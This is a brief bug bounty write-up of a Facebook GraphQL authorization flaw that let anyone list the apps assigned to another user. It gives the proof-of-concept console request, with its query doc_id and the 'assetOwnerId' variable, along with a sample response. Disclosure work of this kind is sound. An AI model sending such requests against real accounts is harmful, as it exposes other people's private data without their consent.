Disclose assigned apps of any facebook user

1 min readFeb 22, 2024

There is a GraphQL query named AccountQualityDataSourceCardWrapperRootQuery that fetches the data sources of any facebook business account by taking the value of “assetOwnerId” as business account id. At the time of reporting, call for business account id was secured but was vulnerable for the user id.

Based on the given input for the targeted facebook user, it was possible to disclose all the assigned data sources of that user.

Proof of concept

Send the GraphQL requests as an AJAX call in the console window.

AccountQualityDataSourceCardWrapperRootQuery:

new AsyncRequest('api/graphql/').setData({doc_id:8009820932425164,variables:'{"assetOwnerId":"FBID"}'}).send()

Response:

{"data":{"dataSources":[{"data_source_id":"AppID","data_source_name":"App_Name","asset_type":"APP","is_unavailable":false,"violations":[]}]},"extensions":{"is_final":true}}